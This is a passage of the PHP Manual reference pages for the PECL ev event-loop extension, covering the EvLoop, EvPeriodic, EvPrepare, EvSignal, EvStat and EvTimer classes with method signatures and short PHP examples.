  • EvLoop::resume() - Resume previously suspended default event loop
  • Ev::suspend() - Suspend the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Creates EvTimer watcher object associated with the current event loop instance

  • « EvLoop::suspend
  • EvLoop::verify »
  • PHP Manual
  • EvLoop
  • Creates EvTimer watcher object associated with the current event loop instance

EvLoop::timer

(PECL ev >= 0.2.0)

EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance

Description

final public EvTimer EvLoop::timer ( double $after , double $repeat , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvTimer watcher object associated with the current event loop instance

Parameters

All parameters have the same meaning as for EvTimer::__construct()

Return Values

Returns EvTimer object on success

See Also

  • EvTimer::__construct() - Constructs an EvTimer watcher object

User Contributed Notes

There are no user contributed notes for this page.


Performs internal consistency checks(for debugging)

  • « EvLoop::timer
  • EvPeriodic »
  • PHP Manual
  • EvLoop
  • Performs internal consistency checks(for debugging)

EvLoop::verify

(PECL ev >= 0.2.0)

EvLoop::verify — Performs internal consistency checks(for debugging)

Description

public void EvLoop::verify ( void )

Performs internal consistency checks(for debugging libev ) and abort the program if any data structures were found to be corrupted.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Ev::verify() - Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


The EvPeriodic class

(PECL ev >= 0.2.0)

Introduction

Periodic watchers are also timers of a kind, but they are very versatile.

Unlike EvTimer , EvPeriodic watchers are not based on real time(or relative time, the physical time that passes) but on wall clock time(absolute time, calendar or clock). The difference is that wall clock time can run faster or slower than real time, and time jumps are not uncommon(e.g. when adjusting it).

EvPeriodic watcher can be configured to trigger after some specific point in time. For example, if an EvPeriodic watcher is configured to trigger "in 10 seconds" (e.g. EvLoop::now() + 10.0 , i.e. an absolute time, not a delay), and the system clock is reset to January of the previous year , then it will take a year or more to trigger the event (unlike an EvTimer , which would still trigger roughly 10 seconds after starting it as it uses a relative timeout).

As with timers, the callback is guaranteed to be invoked only when the point in time where it is supposed to trigger has passed. If multiple timers become ready during the same loop iteration then the ones with earlier time-out values are invoked before ones with later time-out values (but this is no longer true when a callback calls EvLoop::run() recursively).

Class synopsis

EvPeriodic extends EvWatcher {
/* Properties */
public $offset ;
public $interval ;
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public void again ( void )
public double at ( void )
public __construct ( double $offset , string $interval , callable $reschedule_cb , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public static EvPeriodic createStopped ( double $offset , double $interval , callable $reschedule_cb , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void set ( double $offset , double $interval )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

offset

When repeating, this contains the offset value, otherwise this is the absolute point in time(the offset value passed to EvPeriodic::set() , although libev might modify this value for better numerical stability).

interval

The current interval value. Can be modified any time, but changes only take effect when the periodic timer fires or EvPeriodic::again() is being called.

Table of Contents

  • EvPeriodic::again — Simply stops and restarts the periodic watcher again.
  • EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next
  • EvPeriodic::__construct — Constructs EvPeriodic watcher object
  • EvPeriodic::createStopped — Create a stopped EvPeriodic watcher
  • EvPeriodic::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Simply stops and restarts the periodic watcher again.

  • « EvPeriodic
  • EvPeriodic::at »
  • PHP Manual
  • EvPeriodic
  • Simply stops and restarts the periodic watcher again.

EvPeriodic::again

(PECL ev >= 0.2.0)

EvPeriodic::again — Simply stops and restarts the periodic watcher again.

Description

public void EvPeriodic::again ( void )

Simply stops and restarts the periodic watcher again. This is only useful when attributes are changed.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvTimer::again() - Restarts the timer watcher

User Contributed Notes

There are no user contributed notes for this page.


Returns the absolute time that this watcher is supposed to trigger next

  • « EvPeriodic::again
  • EvPeriodic::__construct »
  • PHP Manual
  • EvPeriodic
  • Returns the absolute time that this watcher is supposed to trigger next

EvPeriodic::at

(PECL ev >= 0.2.0)

EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next

Description

public double EvPeriodic::at ( void )

When the watcher is active, returns the absolute time that this watcher is supposed to trigger next. This is not the same as the offset argument to EvPeriodic::set() or EvPeriodic::__construct() , but indeed works even in interval mode.

Parameters

This function has no parameters.

Return Values

Returns the absolute time this watcher is supposed to trigger next in seconds.

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvPeriodic watcher object

  • « EvPeriodic::at
  • EvPeriodic::createStopped »
  • PHP Manual
  • EvPeriodic
  • Constructs EvPeriodic watcher object

EvPeriodic::__construct

(PECL ev >= 0.2.0)

EvPeriodic::__construct — Constructs EvPeriodic watcher object

Description

public EvPeriodic::__construct ( double $offset , string $interval , callable $reschedule_cb , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Constructs EvPeriodic watcher object and starts it automatically. EvPeriodic::createStopped() method creates stopped periodic watcher.

Parameters

offset

See Periodic watcher operation modes

interval

See Periodic watcher operation modes

reschedule_cb

Reschedule callback. You can pass NULL. See Periodic watcher operation modes

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvPeriodic object on success.

Examples

Example #1 Periodic timer. Use reschedule callback

<?php
// Tick each 10.5 seconds

function reschedule_cb ($watcher, $now) {
 return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
 echo time(), PHP_EOL;
});
Ev::run();
?>

Example #2 Periodic timer. Tick every 10.5 seconds starting at now

<?php
// Tick every 10.5 seconds starting at now
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
 echo time(), PHP_EOL;
});
Ev::run();
?>

Example #3 Hourly watcher

<?php
$hourly = EvPeriodic(0, 3600, NULL, function () {
 echo "once per hour\n";
};
?>

See Also

  • Periodic watcher operation modes
  • EvTimer
  • EvPeriodic::createStopped() - Create a stopped EvPeriodic watcher

User Contributed Notes

There are no user contributed notes for this page.


Create a stopped EvPeriodic watcher

  • « EvPeriodic::__construct
  • EvPeriodic::set »
  • PHP Manual
  • EvPeriodic
  • Create a stopped EvPeriodic watcher

EvPeriodic::createStopped

(PECL ev >= 0.2.0)

EvPeriodic::createStopped — Create a stopped EvPeriodic watcher

Description

final public static EvPeriodic EvPeriodic::createStopped ( double $offset , double $interval , callable $reschedule_cb , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Create EvPeriodic object. Unlike EvPeriodic::__construct() this method doesn't start the watcher automatically.

Parameters

offset

See Periodic watcher operation modes

interval

See Periodic watcher operation modes

reschedule_cb

Reschedule callback. You can pass NULL. See Periodic watcher operation modes

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvPeriodic watcher object on success.

See Also

  • EvPeriodic::__construct() - Constructs EvPeriodic watcher object
  • EvTimer::createStopped() - Creates EvTimer stopped watcher object

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvPeriodic::createStopped
  • EvPrepare »
  • PHP Manual
  • EvPeriodic
  • Configures the watcher

EvPeriodic::set

(PECL ev >= 0.2.0)

EvPeriodic::set — Configures the watcher

Description

public void EvPeriodic::set ( double $offset , double $interval )

(Re-)Configures EvPeriodic watcher

Parameters

offset

The same meaning as for EvPeriodic::__construct() . See Periodic watcher operation modes

interval

The same meaning as for EvPeriodic::__construct() . See Periodic watcher operation modes

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EvPrepare class

(PECL ev >= 0.2.0)

Introduction

EvPrepare and EvCheck watchers are usually used in pairs. EvPrepare watchers get invoked before the process blocks, EvCheck afterwards.

It is not allowed to call EvLoop::run() or similar methods or functions that enter the current event loop from either EvPrepare or EvCheck watchers. Other loops than the current one are fine, however. The rationale behind this is that one don't need to check for recursion in those watchers, i.e. the sequence will always be: EvPrepare -> blocking -> EvCheck , so having a watcher of each kind they will always be called in pairs bracketing the blocking call.

The main purpose is to integrate other event mechanisms into libev and their use is somewhat advanced. They could be used, for example, to track variable changes, implement custom watchers, integrate net-snmp or a coroutine library and lots more. They are also occasionally useful to cache some data and want to flush it before blocking.

It is recommended to give EvCheck watchers highest( Ev::MAXPRI ) priority, to ensure that they are being run before any other watchers after the poll (this doesn’t matter for EvPrepare watchers).

Also, EvCheck watchers should not activate/feed events. While libev fully supports this, they might get executed before other EvCheck watchers did their job.

Class synopsis

EvPrepare extends EvWatcher {
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( string $callback [, string $data [, string $priority ]] )
final public static EvPrepare createStopped ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Table of Contents

  • EvPrepare::__construct — Constructs EvPrepare watcher object
  • EvPrepare::createStopped — Creates a stopped instance of EvPrepare watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvPrepare watcher object

  • « EvPrepare
  • EvPrepare::createStopped »
  • PHP Manual
  • EvPrepare
  • Constructs EvPrepare watcher object

EvPrepare::__construct

(PECL ev >= 0.2.0)

EvPrepare::__construct — Constructs EvPrepare watcher object

Description

public EvPrepare::__construct ( string $callback [, string $data [, string $priority ]] )

Constructs EvPrepare watcher object. And starts the watcher automatically. If need a stopped watcher consider using EvPrepare::createStopped()

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvPrepare object on success.

See Also

  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Creates a stopped instance of EvPrepare watcher

  • « EvPrepare::__construct
  • EvSignal »
  • PHP Manual
  • EvPrepare
  • Creates a stopped instance of EvPrepare watcher

EvPrepare::createStopped

(PECL ev >= 0.2.0)

EvPrepare::createStopped — Creates a stopped instance of EvPrepare watcher

Description

final public static EvPrepare EvPrepare::createStopped ( callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates a stopped instance of EvPrepare watcher. Unlike EvPrepare::__construct() , this method doesn' start the watcher automatically.

Parameters

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Return EvPrepare object on success.

See Also

  • EvPrepare::__construct() - Constructs EvPrepare watcher object
  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


The EvSignal class

(PECL ev >= 0.2.0)

Introduction

EvSignal watchers will trigger an event when the process receives a specific signal one or more times. Even though signals are very asynchronous, libev will try its best to deliver signals synchronously, i.e. as part of the normal event processing, like any other event.

There is no limit for the number of watchers for the same signal, but only within the same loop, i.e. one can watch for SIGINT in the default loop and for SIGIO in another loop, but it is not allowed to watch for SIGINT in both the default loop and another loop at the same time. At the moment, SIGCHLD is permanently tied to the default loop.

If possible and supported, libev will install its handlers with SA_RESTART (or equivalent) behaviour enabled, so system calls should not be unduly interrupted. In case of a problem with system calls getting interrupted by signals, all the signals can be blocked in an EvCheck watcher and unblocked in a EvPrepare watcher.

Class synopsis

EvSignal extends EvWatcher {
/* Properties */
public $signum ;
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public __construct ( int $signum , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public static EvSignal createStopped ( int $signum , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void set ( int $signum )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

signum

Signal number. See the constants exported by pcntl extension. See also signal(7) man page.

Table of Contents

  • EvSignal::__construct — Constructs EvPeriodic watcher object
  • EvSignal::createStopped — Create stopped EvSignal watcher object
  • EvSignal::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvPeriodic watcher object

  • « EvSignal
  • EvSignal::createStopped »
  • PHP Manual
  • EvSignal
  • Constructs EvPeriodic watcher object

EvSignal::__construct

(PECL ev >= 0.2.0)

EvSignal::__construct — Constructs EvPeriodic watcher object

Description

public EvSignal::__construct ( int $signum , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Constructs EvPeriodic watcher object and starts it automatically. For a stopped periodic watcher consider using EvSignal::createStopped() method.

Parameters

signum

Signal number. See constants exported by pcntl extension. See also signal(7) man page.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvSignal object on success.

Examples

Example #1 Handle SIGTERM signal

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
    echo "SIGTERM received\n";
    $watcher->stop();
});

Ev::run();
?>

See Also

  • EvSignal::createStopped() - Create stopped EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvSignal watcher object

  • « EvSignal::__construct
  • EvSignal::set »
  • PHP Manual
  • EvSignal
  • Create stopped EvSignal watcher object

EvSignal::createStopped

(PECL ev >= 0.2.0)

EvSignal::createStopped — Create stopped EvSignal watcher object

Description

final public static EvSignal EvSignal::createStopped ( int $signum , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Create stopped EvSignal watcher object. Unlike EvSignal::__construct() , this method does't start the watcher automatically.

Parameters

signum

Signal number. See constants exported by pcntl extension. See also signal(7) man page.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvSignal object on success.

See Also

  • EvWatcher::start() - Starts the watcher
  • EvSignal::__construct() - Constructs EvPeriodic watcher object

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvSignal::createStopped
  • EvStat »
  • PHP Manual
  • EvSignal
  • Configures the watcher

EvSignal::set

(PECL ev >= 0.2.0)

EvSignal::set — Configures the watcher

Description

public void EvSignal::set ( int $signum )

Configures the watcher.

Parameters

signum

Signal number. The same as for EvSignal::__construct()

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EvStat class

(PECL ev >= 0.2.0)

Introduction

EvStat monitors a file system path for attribute changes. It calls stat() on that path in regular intervals(or when the OS signals it changed) and sees if it changed compared to the last time, invoking the callback if it did.

The path does not need to exist: changing from "path exists" to "path does not exist" is a status change like any other. The condition "path does not exist" is signified by the 'nlink' item being 0(returned by EvStat::attr() method).

The path must not end in a slash or contain special components such as '.' or .. . The path should be absolute: if it is relative and the working directory changes, then the behaviour is undefined.

Since there is no portable change notification interface available, the portable implementation simply calls stat() regularly on the path to see if it changed somehow. For this case a recommended polling interval can be specified. If one specifies a polling interval of 0.0 (highly recommended) then a suitable, unspecified default value will be used(which could be expected to be around 5 seconds, although this might change dynamically). libev will also impose a minimum interval which is currently around 0.1 , but that’s usually overkill.

This watcher type is not meant for massive numbers of EvStat watchers, as even with OS-supported change notifications, this can be resource-intensive.

Class synopsis

EvStat extends EvWatcher {
/* Properties */
public $path ;
public $interval ;
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public array attr ( void )
public __construct ( string $path , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public static void createStopped ( string $path , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void prev ( void )
public void set ( string $path , double $interval )
public bool stat ( void )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

interval

Readonly . Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

path

Readonly . The path to wait for status changes on.

Table of Contents

  • EvStat::attr — Returns the values most recently detected by Ev
  • EvStat::__construct — Constructs EvStat watcher object
  • EvStat::createStopped — Create a stopped EvStat watcher object
  • EvStat::prev — Returns the previous set of values returned by EvStat::attr
  • EvStat::set — Configures the watcher
  • EvStat::stat — Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Returns the values most recently detected by Ev

  • « EvStat
  • EvStat::__construct »
  • PHP Manual
  • EvStat
  • Returns the values most recently detected by Ev

EvStat::attr

(PECL ev >= 0.2.0)

EvStat::attr — Returns the values most recently detected by Ev

Description

public array EvStat::attr ( void )

Returns array of the values most recently detected by Ev

Parameters

This function has no parameters.

Return Values

Returns array with the values most recently detect by Ev(without actual stat 'ing):

List for item keys of the array returned by EvStat::attr()
Key | Description
'dev' | ID of device containing file
'ino' | inode number
'mode' | protection
'nlink' | number of hard links
'uid' | user ID of owner
'size' | total size, in bytes
'gid' | group ID of owner
'rdev' | device ID (if special file)
'blksize' | blocksize for file system I/O
'blocks' | number of 512B blocks allocated
'atime' | time of last access
'ctime' | time of last status change
'mtime' | time of last modification

See stat(2) man page for details.

Examples

Example #1 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
    echo "/var/log/messages changed\n";

    $attr = $w->attr();

    if ($attr['nlink']) {
        printf("Current size: %ld\n", $attr['size']);
        printf("Current atime: %ld\n", $attr['atime']);
        printf("Current mtime: %ld\n", $attr['mtime']);
    } else {
        fprintf(STDERR, "`messages` file is not there!");
        $w->stop();
    }
});

Ev::run();
?>

See Also

  • EvStat::prev() - Returns the previous set of values returned by EvStat::attr
  • EvStat::stat() - Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvStat watcher object

  • « EvStat::attr
  • EvStat::createStopped »
  • PHP Manual
  • EvStat
  • Constructs EvStat watcher object

EvStat::__construct

(PECL ev >= 0.2.0)

EvStat::__construct — Constructs EvStat watcher object

Description

public EvStat::__construct ( string $path , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Constructs EvStat watcher object and starts the watcher automatically.

Parameters

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvStat watcher object on succes.

Examples

Example #1 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
 echo "/var/log/messages changed\n";

 $attr = $w->attr();

 if ($attr['nlink']) {
  printf("Current size: %ld\n", $attr['size']);
  printf("Current atime: %ld\n", $attr['atime']);
  printf("Current mtime: %ld\n", $attr['mtime']);
 } else {
  fprintf(STDERR, "`messages` file is not there!");
  $w->stop();
 }
});

Ev::run();
?>

User Contributed Notes

There are no user contributed notes for this page.


Create a stopped EvStat watcher object

  • « EvStat::__construct
  • EvStat::prev »
  • PHP Manual
  • EvStat
  • Create a stopped EvStat watcher object

EvStat::createStopped

(PECL ev >= 0.2.0)

EvStat::createStopped — Create a stopped EvStat watcher object

Description

final public static void EvStat::createStopped ( string $path , double $interval , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvStat watcher object, but doesn't start it automatically(unlike EvStat::__construct() ).

Parameters

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns a stopped EvStat watcher object on success.

See Also

  • EvStat::__construct() - Constructs EvStat watcher object
  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous set of values returned by EvStat::attr

  • « EvStat::createStopped
  • EvStat::set »
  • PHP Manual
  • EvStat
  • Returns the previous set of values returned by EvStat::attr

EvStat::prev

(PECL ev >= 0.2.0)

EvStat::prev — Returns the previous set of values returned by EvStat::attr

Description

public void EvStat::prev ( void )

Just like EvStat::attr() , but returns the previous set of values.

Parameters

This function has no parameters.

Return Values

Returns an array with the same structure as the array returned by EvStat::attr() . The array contains previously detected values.

See Also

  • EvStat::attr() - Returns the values most recently detected by Ev
  • EvStat::stat() - Initiates the stat call

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvStat::prev
  • EvStat::stat »
  • PHP Manual
  • EvStat
  • Configures the watcher

EvStat::set

(PECL ev >= 0.2.0)

EvStat::set — Configures the watcher

Description

public void EvStat::set ( string $path , double $interval )

Configures the watcher.

Parameters

path

The path to wait for status changes on.

interval

Hint on how quickly a change is expected to be detected and should normally be specified as 0.0 to let libev choose a suitable value.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Initiates the stat call

  • « EvStat::set
  • EvTimer »
  • PHP Manual
  • EvStat
  • Initiates the stat call

EvStat::stat

(PECL ev >= 0.2.0)

EvStat::stat — Initiates the stat call

Description

public bool EvStat::stat ( void )

Initiates the stat call(updates internal cache). It stats(using lstat ) the path specified in the watcher and sets to the values found.

Parameters

This function has no parameters.

Return Values

Returns TRUE if path exists. Otherwise FALSE.

See Also

  • EvStat::attr() - Returns the values most recently detected by Ev
  • EvStat::prev() - Returns the previous set of values returned by EvStat::attr

User Contributed Notes

There are no user contributed notes for this page.


The EvTimer class

(PECL ev >= 0.2.0)

Introduction

EvTimer watchers are simple relative timers that generate an event after a given time, and optionally repeating in regular intervals after that.

The timers are based on real time, that is, if one registers an event that times out after an hour and resets the system clock to January last year , it will still time out after(roughly) one hour. "Roughly" because detecting time jumps is hard, and some inaccuracies are unavoidable.

The callback is guaranteed to be invoked only after its timeout has passed (not at, so on systems with very low-resolution clocks this might introduce a small delay). If multiple timers become ready during the same loop iteration then the ones with earlier time-out values are invoked before ones of the same priority with later time-out values (but this is no longer true when a callback calls EvLoop::run() recursively).

The timer itself will do a best-effort at avoiding drift, that is, if a timer is configured to trigger every 10 seconds, then it will normally trigger at exactly 10 second intervals. If, however, the script cannot keep up with the timer because it takes longer than those 10 seconds to do) the timer will not fire more than once per event loop iteration.

Class synopsis

EvTimer extends EvWatcher {
/* Properties */
public $repeat ;
public $remaining ;
/* Inherited properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public void again ( void )
public __construct ( double $after , double $repeat , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
final public static EvTimer createStopped ( double $after , double $repeat , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )
public void set ( double $after , double $repeat )
/* Inherited methods */
public int EvWatcher::clear ( void )
abstract public EvWatcher::__construct ( void )
public void EvWatcher::feed ( int $revents )
public EvLoop EvWatcher::getLoop ( void )
public void EvWatcher::invoke ( int $revents )
public bool EvWatcher::keepalive ([ bool $value ] )
public void EvWatcher::setCallback ( callable $callback )
public void EvWatcher::start ( void )
public void EvWatcher::stop ( void )
}

Properties

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

remaining

Returns the remaining time until a timer fires. If the timer is active, then this time is relative to the current event loop time, otherwise it's the timeout value currently configured.

That is, after instanciating an EvTimer with an after value of 5.0 and repeat value of 7.0 , remaining returns 5.0 . When the timer is started and one second passes, remaining will return 4.0 . When the timer expires and is restarted, it will return roughly 7.0 (likely slightly less as callback invocation takes some time too), and so on.

Table of Contents

  • EvTimer::again — Restarts the timer watcher
  • EvTimer::__construct — Constructs an EvTimer watcher object
  • EvTimer::createStopped — Creates EvTimer stopped watcher object
  • EvTimer::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Restarts the timer watcher

  • « EvTimer
  • EvTimer::__construct »
  • PHP Manual
  • EvTimer
  • Restarts the timer watcher

EvTimer::again

(PECL ev >= 0.2.0)

EvTimer::again — Restarts the timer watcher

Description

public void EvTimer::again ( void )

This will act as if the timer timed out and restart it again if it is repeating. The exact semantics are:

  1. if the timer is pending, its pending status is cleared.

  2. if the timer is started but non-repeating, stop it (as if it timed out).

  3. if the timer is repeating, either start it if necessary (with the repeat value), or reset the running timer to the repeat value.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvWatcher::stop() - Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs an EvTimer watcher object

  • « EvTimer::again
  • EvTimer::createStopped »
  • PHP Manual
  • EvTimer
  • Constructs an EvTimer watcher object

EvTimer::__construct

(PECL ev >= 0.2.0)

EvTimer::__construct — Constructs an EvTimer watcher object

Description

public EvTimer::__construct ( double $after , double $repeat , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Constructs an EvTimer watcher object.

Parameters

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvTimer object on success.

Examples

Example #1 Simple timers

<?php
// Create and start timer firing after 2 seconds
$w1 = new EvTimer(2, 0, function () {
    echo "2 seconds elapsed\n";
});

// Create and launch timer firing after 2 seconds repeating each second
// until we manually stop it
$w2 = new EvTimer(2, 1, function ($w) {
    echo "is called every second, is launched after 2 seconds\n";
    echo "iteration = ", Ev::iteration(), PHP_EOL;

    // Stop the watcher after 5 iterations
    Ev::iteration() == 5 and $w->stop();
    // Stop the watcher if further calls cause more than 10 iterations
    Ev::iteration() >= 10 and $w->stop();
});

// Create stopped timer. It will be inactive until we start it ourselves
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
    echo "Callback of a timer created as stopped\n";

    // Stop the watcher after 2 iterations
    Ev::iteration() >= 2 and $w->stop();
});

// Loop until Ev::stop() is called or all of watchers stop
Ev::run();

// Start and look if it works
$w_stopped->start();
echo "Run single iteration\n";
Ev::run(Ev::RUN_ONCE);

echo "Restart the second watcher and try to handle the same events, but don't block\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Running a blocking loop\n";
Ev::run();
echo "END\n";
?>

The above example will output something similar to:

2 seconds elapsed
is called every second, is launched after 2 seconds
iteration = 1
is called every second, is launched after 2 seconds
iteration = 2
is called every second, is launched after 2 seconds
iteration = 3
is called every second, is launched after 2 seconds
iteration = 4
is called every second, is launched after 2 seconds
iteration = 5
Run single iteration
Callback of a timer created as stopped
Restart the second watcher and try to handle the same events, but don't block
Running a blocking loop
is called every second, is launched after 2 seconds
iteration = 8
is called every second, is launched after 2 seconds
iteration = 9
is called every second, is launched after 2 seconds
iteration = 10
END

See Also

  • EvTimer::createStopped() - Creates EvTimer stopped watcher object
  • EvPeriodic
  • » ev_timer - relative and optionally repeating timeouts
  • » Be smart about timeouts

User Contributed Notes

Jayesh Wadhwani 30-Jul-2013 11:56
Example of passing custom data:

<?php
// Create and start timer firing after 2 seconds with custom data
$w1 = new EvTimer(2, 0, function ($w) {
    echo "Custom data: $w->data\n";
    echo "2 seconds elapsed\n";
}, 'abcd');
Ev::run();
?>
Running this will print out:
Custom data: abcd
2 seconds elapsed

Note that 'data' is a public property of the event EvWatcher class.


Creates EvTimer stopped watcher object

  • « EvTimer::__construct
  • EvTimer::set »
  • PHP Manual
  • EvTimer
  • Creates EvTimer stopped watcher object

EvTimer::createStopped

(PECL ev >= 0.2.0)

EvTimer::createStopped — Creates EvTimer stopped watcher object

Description

final public static EvTimer EvTimer::createStopped ( double $after , double $repeat , callable $callback [, mixed $data = NULL [, int $priority = 0 ]] )

Creates EvTimer stopped watcher object. Unlike EvTimer::__construct() , this method doesn't start the watcher automatically.

Parameters

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

Return Values

Returns EvTimer watcher object on success.

Examples

Example #1 Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
    $w->stop();

    $stat = $w->data;

    // 1 second after the most recent change of the file
    printf("Current size: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
    // Reset timer watcher
    $timer->again();
});

$timer->data = $stat;

Ev::run();
?>

See Also

  • EvTimer::__construct() - Constructs an EvTimer watcher object
  • EvPeriodic

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • « EvTimer::createStopped
  • EvWatcher »
  • PHP Manual
  • EvTimer
  • Configures the watcher

EvTimer::set

(PECL ev >= 0.2.0)

EvTimer::set — Configures the watcher

Description

public void EvTimer::set ( double $after , double $repeat )

Configures the watcher

Parameters

after

Configures the timer to trigger after after seconds.

repeat

If repeat is 0.0 , then it will automatically be stopped once the timeout is reached. If it is positive, then the timer will automatically be configured to trigger again every repeat seconds later, until stopped manually.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EvWatcher class

(PECL ev >= 0.2.0)

Introduction

